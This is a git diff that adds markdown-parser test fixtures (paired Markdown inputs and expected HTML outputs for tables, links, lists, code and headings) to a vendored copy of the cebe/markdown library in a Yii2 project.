    + + + + + + + + +
    Simple Table
    1 2
    3 4
    + + + + + + + + + + +
    Simple Table
    1 2
    3 4
    3 4 |
    3 4 \
    +

    Check https://github.com/erusev/parsedown/issues/184 for the following:

    + + + + + + + + + + + +
    Foo Bar State
    Code | Pipe Broken Blank
    Escaped Code \| Pipe Broken Blank
    Escaped | Pipe Broken Blank
    Escaped \Pipe Broken Blank
    Escaped \ Pipe Broken Blank
    + + + + + + + +
    Simple Table
    3 4
    +

    3 | 4

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/tables.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/tables.md new file mode 100644 index 00000000..eab866d1 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/tables.md @@ -0,0 +1,56 @@ +Tables +------ + +First Header | Second Header +------------- | ------------- +Content Cell | Content Cell +Content Cell | Content Cell + +| First Header | Second Header | +| ------------- | ------------- | +| Content Cell | Content Cell | +| Content Cell | Content Cell | + +| Name | Description | +| ------------- | ----------- | +| Help | Display the help window.| +| Close | Closes a window | + +| Name | Description | +| ------------- | ----------- | +| Help | **Display the** help window.| +| Close | _Closes_ a window | + +| Left-Aligned | Center Aligned | Right Aligned | +| :------------ |:---------------:| -----:| +| col 3 is | some wordy text | $1600 | +| col 2 is | centered | $12 | +| zebra stripes | are neat | $1 | + + +Simple | Table +------ | ----- +1 | 2 +3 | 4 + +| Simple | Table | +| ------ | ----- | +| 1 | 2 | +| 3 | 4 | +| 3 | 4 \| +| 3 | 4 \\| + +Check https://github.com/erusev/parsedown/issues/184 for the following: + +Foo | Bar | State +------ | ------ | ----- +`Code | Pipe` | Broken | Blank +`Escaped Code \| Pipe` | Broken | Blank +Escaped \| Pipe | Broken | Blank +Escaped \\| Pipe | Broken | Blank +Escaped \\ | Pipe | Broken | Blank + +| Simple | Table | +| :----- | ----- | +| 3 | 4 | +3 | 4 diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/test_precedence.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/test_precedence.html new file mode 100644 index 00000000..e452a929 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/test_precedence.html @@ -0,0 +1,8 @@ +

    Not a headline but a code block:

    +
    ---
    +
    +

    Not a headline but two HR:

    +
    +
    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/test_precedence.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/test_precedence.md new file mode 100644 index 00000000..66b49425 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/test_precedence.md @@ -0,0 +1,14 @@ +Not a headline but a code block: + +``` +--- +``` + +Not a headline but two HR: + +*** +--- + +--- +*** + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/url.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/url.html new file mode 100644 index 00000000..642f3ac4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/url.html @@ -0,0 +1,16 @@ +

    here is the url: http://www.cebe.cc/

    +

    here is the url: http://www.cebe.cc

    +

    here is the url: http://www.cebe.cc/ and some text

    +

    using http is cool and http:// is the beginning of an url.

    +

    link should be url decoded: http://en.wikipedia.org/wiki/Mase_(disambiguation)

    +

    link in the end of the sentence: See this http://example.com/.

    +

    this one is in parenthesis (http://example.com/).

    +

    this one is in parenthesis (http://example.com:80/?id=1,2,3).

    +

    ... (see http://en.wikipedia.org/wiki/Port_(computer_networking)).

    +

    ... (see https://en.wikipedia.org/wiki/Port_(computer_networking)_more).

    +

    ... (see https://en.wikipedia.org/wiki/Port_(computer_networking)_more). ... (see http://en.wikipedia.org/wiki/Port_(computer_networking)).

    +

    ... (see https://en.wikipedia.org/wiki/Port_(computer_networking)_more)....(http://en.wikipedia.org/wiki/Port_(computer_networking)).

    +

    ... (see http://en.wikipedia.org/wiki/Port)

    +

    ... (see http://en.wikipedia.org/wiki/Port).

    +

    http://www.cebe.cc, http://www.cebe.net, and so on

    +

    link to http://www.google.com/

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/url.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/url.md new file mode 100644 index 00000000..23ca14ed --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/url.md @@ -0,0 +1,31 @@ +here is the url: http://www.cebe.cc/ + +here is the url: http://www.cebe.cc + +here is the url: http://www.cebe.cc/ and some text + +using http is cool and http:// is the beginning of an url. + +link should be url decoded: http://en.wikipedia.org/wiki/Mase_%28disambiguation%29 + +link in the end of the sentence: See this http://example.com/. + +this one is in parenthesis (http://example.com/). + +this one is in parenthesis (http://example.com:80/?id=1,2,3). + +... (see http://en.wikipedia.org/wiki/Port_(computer_networking)). + +... (see https://en.wikipedia.org/wiki/Port_(computer_networking)_more). + +... (see https://en.wikipedia.org/wiki/Port_(computer_networking)_more). ... (see http://en.wikipedia.org/wiki/Port_(computer_networking)). + +... (see https://en.wikipedia.org/wiki/Port_(computer_networking)_more)....(http://en.wikipedia.org/wiki/Port_(computer_networking)). + +... (see http://en.wikipedia.org/wiki/Port) + +... (see http://en.wikipedia.org/wiki/Port). + +http://www.cebe.cc, http://www.cebe.net, and so on + +[link to http://www.google.com/](http://www.google.com/) \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/README b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/README new file mode 100644 index 00000000..f899a74e --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/README @@ -0,0 +1 @@ +All tests prefixed with `md1_` are taken from http://daringfireball.net/projects/downloads/MarkdownTest_1.0.zip \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote-nested.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote-nested.html new file mode 100644 index 00000000..4bf4289c --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote-nested.html @@ -0,0 +1,11 @@ +

    This is a header.

    +
      +
    1. This is the first list item.
    2. +
    3. This is the second list item.
    4. +
    +

    Here's some example code:

    +
    return shell_exec("echo $input | $markdown_script");
    +
    +

    quote here

    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote-nested.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote-nested.md new file mode 100644 index 00000000..a20b01e8 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote-nested.md @@ -0,0 +1,10 @@ +> ## This is a header. +> +> 1. This is the first list item. +> 2. This is the second list item. +> +> Here's some example code: +> +> return shell_exec("echo $input | $markdown_script"); +> +> > quote here \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote.html new file mode 100644 index 00000000..ea8fcf8a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote.html @@ -0,0 +1,9 @@ +

    test test +test

    +
    +

    test +test +test

    +
    +

    test

    +

    >this is not a quote

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote.md new file mode 100644 index 00000000..83217736 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/blockquote.md @@ -0,0 +1,10 @@ +> test test +> test + +> test +test +test + +test + +>this is not a quote \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/code.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/code.html new file mode 100644 index 00000000..a4ee7c75 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/code.html @@ -0,0 +1,12 @@ +

    this is inline code

    +

    this is `inline code`

    +

    this is inline code

    +

    this is inline ` code

    +

    this is inline `` code

    +
    code block
    +
    +code block
    +
    +

    this is code too: co +ooo +de

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/code.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/code.md new file mode 100644 index 00000000..1c1ba7f3 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/code.md @@ -0,0 +1,17 @@ +this is `inline code` + +this is ``inline code`` + +this is `` inline code `` + +this is `` inline ` code `` + +this is ``` inline `` code ``` + + code block + + code block + +this is code too: ` co +ooo +de ` \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/dense-block-markers.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/dense-block-markers.html new file mode 100644 index 00000000..964949ca --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/dense-block-markers.html @@ -0,0 +1,50 @@ +

    this is to test dense blocks (no newlines between them)

    +
    +

    what is Markdown?

    +

    see Wikipedia

    +

    a h2

    +

    paragraph

    +

    this is a paragraph, not a headline or list +next line +- whoo

    +

    par

    +
    code
    +code
    +
    +

    par

    +

    Tasks list

    +
      +
    • list items
    • +
    +

    headline1

    +

    quote +quote

    +
    +

    headline2

    +
    +

    h1

    +

    h2

    +
    +

    h3

    +
      +
    1. ol1
    2. +
    3. ol2
    4. +
    +

    h4

    +
      +
    • listA
    • +
    • listB
    • +
    +
    h5
    +
    h6
    +
    +
    +

    changelog 1

    +
      +
    • 17-Feb-2013 re-design
    • +
    +
    +

    changelog 2

    +
      +
    • 17-Feb-2013 re-design
    • +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/dense-block-markers.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/dense-block-markers.md new file mode 100644 index 00000000..ea365b86 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/dense-block-markers.md @@ -0,0 +1,56 @@ +# this is to test dense blocks (no newlines between them) + +---- +## what is Markdown? +see [Wikipedia][] + +a h2 +---- +paragraph + +this is a paragraph, not a headline or list +next line +- whoo + +par + code + code +par + +### Tasks list +- list items + +headline1 +--------- +> quote +> quote + +[Wikipedia]: http://en.wikipedia.org/wiki/Markdown +headline2 +--------- + +---- +# h1 +## h2 +--- +### h3 +1. ol1 +2. ol2 + +#### h4 +- listA +- listB + +##### h5 +###### h6 +-------- + +---- + +## changelog 1 + +* 17-Feb-2013 re-design + +---- +## changelog 2 +* 17-Feb-2013 re-design \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/emphasis.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/emphasis.html new file mode 100644 index 00000000..a7f1bba3 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/emphasis.html @@ -0,0 +1,8 @@ +

    this is strong and this is strong.

    +

    this is em and this is em.

    +

    code code

    +

    codecodecode

    +

    Hey this is +italic

    +

    Hey this is +bold

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/emphasis.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/emphasis.md new file mode 100644 index 00000000..9057e7b6 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/emphasis.md @@ -0,0 +1,13 @@ +this is __strong__ and this is **strong**. + +this is _em_ and this is *em*. + +_`code`_ __`code`__ + +*`code`**`code`**`code`* + +Hey *this is +italic* + +Hey **this is +bold** diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/endless_loop_bug.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/endless_loop_bug.html new file mode 100644 index 00000000..4460837a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/endless_loop_bug.html @@ -0,0 +1,9 @@ +

    Creating an Action

    +

    For the "Hello" task, you will create a say action that reads +a message parameter from the request and displays that message back to the user. If the request +does not provide a message parameter, the action will display the default "Hello" message.

    +

    Info: Actions are the objects that end users can directly refer to for + execution. Actions are grouped by controllers. The execution result of + an action is the response that an end user will receive.

    +
    +

    Actions must be declared in ...

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/endless_loop_bug.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/endless_loop_bug.md new file mode 100644 index 00000000..acd289fa --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/endless_loop_bug.md @@ -0,0 +1,12 @@ +Creating an Action +------------------ + +For the "Hello" task, you will create a `say` [action](structure-controllers.md#creating-actions) that reads +a `message` parameter from the request and displays that message back to the user. If the request +does not provide a `message` parameter, the action will display the default "Hello" message. + +> Info: [Actions](structure-controllers.md#creating-actions) are the objects that end users can directly refer to for + execution. Actions are grouped by [controllers](structure-controllers.md). The execution result of + an action is the response that an end user will receive. + +Actions must be declared in ... diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/headline.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/headline.html new file mode 100644 index 00000000..627e09ec --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/headline.html @@ -0,0 +1,20 @@ +

    a h1 heading

    +

    par1

    +

    a h2 heading

    +

    par2

    +

    a h4 heading

    +

    par3

    +

    another h1

    +

    par4

    +

    another h2

    +

    par5

    +

    a h4 heading

    +

    a h4 heading

    +
    h6
    +
    h7
    +

    +

    head

    +

    hallo +hallo

    +

    test

    +

    test

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/headline.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/headline.md new file mode 100644 index 00000000..b5ccebe2 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/headline.md @@ -0,0 +1,39 @@ +# a h1 heading + +par1 + +## a h2 heading + +par2 + +#### a h4 heading + +par3 + +another h1 +========== + +par4 + +another h2 +---------- + +par5 + +#### a h4 heading #### + +#### a h4 heading ######## + +###### h6 + +####### h7 + + +head +---- + +hallo +hallo +test +==== +test diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/hr.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/hr.html new file mode 100644 index 00000000..a1dcf598 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/hr.html @@ -0,0 +1,15 @@ +
    +
    +
    +
    +
    +
    +
    +
    +
    +

    **

    +

    --

    +

    ––

    +

    *

    +

    -

    +

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/hr.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/hr.md new file mode 100644 index 00000000..4f9ea2dc --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/hr.md @@ -0,0 +1,29 @@ +- - - + +--- + +------ + +_ _ _ + +___ + +_____________ + +********* + +* * * + +*** + +** + +-- + +–– + +* + +- + +– \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/html-block.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/html-block.html new file mode 100644 index 00000000..62232742 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/html-block.html @@ -0,0 +1,19 @@ +

    paragraph 1 is here

    + + + + + + + + + +
    ab
    cd
    +

    more markdown here

    +

    < this is not an html tag

    +

    <thisisnotanhtmltag

    +

    some inline md

    +

    some inline md

    +

    self-closing on block level:

    +

    this is a paragraph

    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/html-block.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/html-block.md new file mode 100644 index 00000000..ef0c7205 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/html-block.md @@ -0,0 +1,27 @@ +paragraph 1 is here + + + + + + + + + + +
    ab
    cd
    + +more markdown here + +< this is not an html tag + +some inline **md** + +some inline **md** + +self-closing on block level: + +

    this is a paragraph

    +
    \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/images.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/images.html new file mode 100644 index 00000000..90d9dbc8 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/images.html @@ -0,0 +1,10 @@ +

    Total Downloads +Build Status

    +

    Here is an image tag: Total Downloads.

    +

    Images inside of links: +Total Downloads + +Build Status +Build Status

    +

    This is not an image: ![[ :-)

    +

    This is not an image: ![[ :-)]]

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/images.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/images.md new file mode 100644 index 00000000..1ff6b4de --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/images.md @@ -0,0 +1,14 @@ +![Total Downloads](https://poser.pugx.org/cebe/markdown/downloads.png) +![Build Status](https://secure.travis-ci.org/cebe/markdown.png "test1") + +Here is an image tag: ![Total Downloads](https://poser.pugx.org/cebe/markdown/downloads.png). + +Images inside of links: +[![Total Downloads](https://poser.pugx.org/cebe/markdown/downloads.png)](https://packagist.org/packages/cebe/markdown) + +[![Build Status](https://secure.travis-ci.org/cebe/markdown.png "test2")](http://travis-ci.org/cebe/markdown) +[![Build Status](https://secure.travis-ci.org/cebe/markdown.png "test3")](http://travis-ci.org/cebe/markdown "test4") + +This is not an image: ![[ :-) + +This is not an image: ![[ :-)]] \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/inline-html.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/inline-html.html new file mode 100644 index 00000000..005185bb --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/inline-html.html @@ -0,0 +1,8 @@ +

    this is inline html trailing

    +

    © AT&T

    +

    this is deleted this is not +new text on new line

    +

    this is deleted this is not +new text on new line

    +

    this line ends with <

    +

    this line ends with &

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/inline-html.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/inline-html.md new file mode 100644 index 00000000..6d8f7c08 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/inline-html.md @@ -0,0 +1,13 @@ +this is inline **html** trailing + +© AT&T + +this is deleted this is not +new text on new line + +this is deleted this is not +new text on new line + +this line ends with < + +this line ends with & diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/lazy-list.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/lazy-list.html new file mode 100644 index 00000000..e732edab --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/lazy-list.html @@ -0,0 +1,43 @@ +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus.
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing.
    • +
    +
      +
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit.

      +
    • +
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit.

      +
    • +
    +
      +
    1. Item one.
    2. +
    3. Item two with some code:
      code one
      +
      +
    4. +
    +
      +
    1. Item one.

      +
    2. +
    3. Paragraph 1

      +

      Paragraph 2

      +
    4. +
    5. Item three with code:

      +
      code two
      +
      +
    6. +
    +

    Paragraph.

    +
      +
    • line1 +line2

      +

      line1 +line2

      +

      line1 +line2 +line3 +line4

      +
    • +
    +

    line 5

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/lazy-list.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/lazy-list.md new file mode 100644 index 00000000..3cf9e4d7 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/lazy-list.md @@ -0,0 +1,40 @@ +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, +viverra nec, fringilla in, laoreet vitae, risus. +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. +Suspendisse id sem consectetuer libero luctus adipiscing. + + +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + +* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + +1. Item one. +2. Item two with some code: + code one + + +1. Item one. + +2. Paragraph 1 + + Paragraph 2 + +3. Item three with code: + + code two + +Paragraph. + +- line1 +line2 + + line1 +line2 + + line1 +line2 +line3 +line4 + +line 5 \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/links.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/links.html new file mode 100644 index 00000000..3c590e20 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/links.html @@ -0,0 +1,12 @@ +

    Go search on http://google.com!

    +

    link should be url decoded: http://en.wikipedia.org/wiki/Mase_(disambiguation)

    +

    Brackets in url and backslashes in links:

    +

    About port info on wiki: port

    +

    About port info on wiki: port

    +

    I'm an inline-style link

    +

    I'm an inline-style link with title +and another one in the same paragraph: +I'm an inline-style link with title

    +

    I'm a relative reference to a repository file

    +

    Or leave it empty and use the link text itself

    +

    A link [in a link](http://example.com)

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/links.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/links.md new file mode 100644 index 00000000..4c07d7a0 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/links.md @@ -0,0 +1,21 @@ +Go search on ! + +link should be url decoded: + +Brackets in url and backslashes in links: + +About port info on wiki: [port](http://en.wikipedia.org/wiki/Port_(computer_networking)) + +About port info on wiki: [port](http://en.wikipedia.org/wiki/Port_(computer_networking) "port wiki") + +[I'm an inline-style link](https://www.google.com) + +[I'm an inline-style link with title](https://www.google.com "Google's Homepage") +and another one in the same paragraph: +[I'm an inline-style link with title](https://www.google.com "Google's Homepage") + +[I'm a relative reference to a repository file](../blob/(master)/LICENSE) + +Or leave it empty and use the [link text itself]() + +A [link [in a link](http://example.com)](http://example.com) diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list-marker-in-paragraph.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list-marker-in-paragraph.html new file mode 100644 index 00000000..92d12197 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list-marker-in-paragraph.html @@ -0,0 +1,7 @@ +

    In Markdown 1.0.0 and earlier. Version +8. This line turns into a list item. +Because a hard-wrapped line in the +middle of a paragraph looked like a +list item.

    +

    Here's one with a bullet. +* criminey

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list-marker-in-paragraph.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list-marker-in-paragraph.md new file mode 100644 index 00000000..54c49572 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list-marker-in-paragraph.md @@ -0,0 +1,8 @@ +In Markdown 1.0.0 and earlier. Version +8. This line turns into a list item. +Because a hard-wrapped line in the +middle of a paragraph looked like a +list item. + +Here's one with a bullet. +* criminey \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list.html new file mode 100644 index 00000000..83801dc4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list.html @@ -0,0 +1,48 @@ +
      +
    • item1
    • +
    • +
    • item2
    • +
    • item3
    • +
    +
    +
      +
    • item1
    • +
    • item2
    • +
    • item3
    • +
    +
    +
      +
    • item1
    • +
    • item2
    • +
    • item3
    • +
    +
    +
      +
    1. item1
    2. +
    3. item2
    4. +
    5. item3
    6. +
    +
    +
      +
    1. item1
    2. +
    3. item2
    4. +
    5. item3
    6. +
    +
    +
      +
    1. item1
    2. +
    3. item2
    4. +
    5. item3
    6. +
    +
    +
      +
    1. item1
    2. +
    3. item2
    4. +
    5. item3
    6. +
    +
    +
      +
    • more indented line
    • +
    • different indent +-not a list item
    • +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list.md new file mode 100644 index 00000000..60e27429 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list.md @@ -0,0 +1,46 @@ +- item1 +- +- item2 +- item3 + +--- + +* item1 +* item2 +* item3 + +--- + ++ item1 ++ item2 ++ item3 + +--- + +1. item1 +2. item2 +4. item3 + +--- + +4. item1 +12. item2 +125. item3 + +--- + +4. item1 +12. item2 +125. item3 + +--- + + 4. item1 + 12. item2 +125. item3 + +--- + +- more indented line +- different indent +-not a list item diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_and_reference.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_and_reference.html new file mode 100644 index 00000000..c84bcc09 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_and_reference.html @@ -0,0 +1,7 @@ +

    link ref1

    +
      +
    • item 1 ref2
    • +
    • item 2

      +

      a

      +
    • +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_and_reference.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_and_reference.md new file mode 100644 index 00000000..4f9c429c --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_and_reference.md @@ -0,0 +1,8 @@ +link [ref1] + +- item 1 [ref2] +- item 2 + + [ref1]: http://example.com/a +[ref2]: http://example.com/b +a \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_items_with_undefined_ref.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_items_with_undefined_ref.html new file mode 100644 index 00000000..53ea8dfa --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_items_with_undefined_ref.html @@ -0,0 +1,10 @@ +
      +
    • [[\yii\caching\ApcCache]]: uses PHP APC extension. This option can be +considered as the fastest one when dealing with cache for a centralized thick application (e.g. one +server, no dedicated load balancers, etc.).

      +
    • +
    • [[\yii\caching\DbCache]]: uses a database table to store cached data. By default, it will create and use a +SQLite3 database under the runtime directory. You can explicitly specify a database for +it to use by setting its db property.

      +
    • +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_items_with_undefined_ref.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_items_with_undefined_ref.md new file mode 100644 index 00000000..98a40fe8 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/list_items_with_undefined_ref.md @@ -0,0 +1,7 @@ +* [[\yii\caching\ApcCache]]: uses PHP [APC](http://php.net/manual/en/book.apc.php) extension. This option can be + considered as the fastest one when dealing with cache for a centralized thick application (e.g. one + server, no dedicated load balancers, etc.). + +* [[\yii\caching\DbCache]]: uses a database table to store cached data. By default, it will create and use a + [SQLite3](http://sqlite.org/) database under the runtime directory. You can explicitly specify a database for + it to use by setting its `db` property. diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_amps_and_angle_encoding.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_amps_and_angle_encoding.html new file mode 100644 index 00000000..959591fc --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_amps_and_angle_encoding.html @@ -0,0 +1,8 @@ +

    AT&T has an ampersand in their name.

    +

    AT&T is another way to write it.

    +

    This & that.

    +

    4 < 5.

    +

    6 > 5.

    +

    Here's a link with an ampersand in the URL.

    +

    Here's a link with an amersand in the link text: AT&T.

    +

    Here's an inline link.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_amps_and_angle_encoding.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_amps_and_angle_encoding.md new file mode 100644 index 00000000..55601f26 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_amps_and_angle_encoding.md @@ -0,0 +1,19 @@ +AT&T has an ampersand in their name. + +AT&T is another way to write it. + +This & that. + +4 < 5. + +6 > 5. + +Here's a [link] [1] with an ampersand in the URL. + +Here's a link with an amersand in the link text: [AT&T] [2]. + +Here's an inline [link](/script?foo=1&bar=2). + + +[1]: http://example.com/?foo=1&bar=2 +[2]: http://att.com/ "AT&T" \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_auto_links.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_auto_links.html new file mode 100644 index 00000000..8e85d010 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_auto_links.html @@ -0,0 +1,12 @@ +

    Link: http://example.com/.

    +

    With an ampersand: http://example.com/?foo=1&bar=2

    + +

    Blockquoted: http://example.com/

    +
    +

    Auto-links should not occur here: <http://example.com/>

    +
    or here: <http://example.com/>
    +
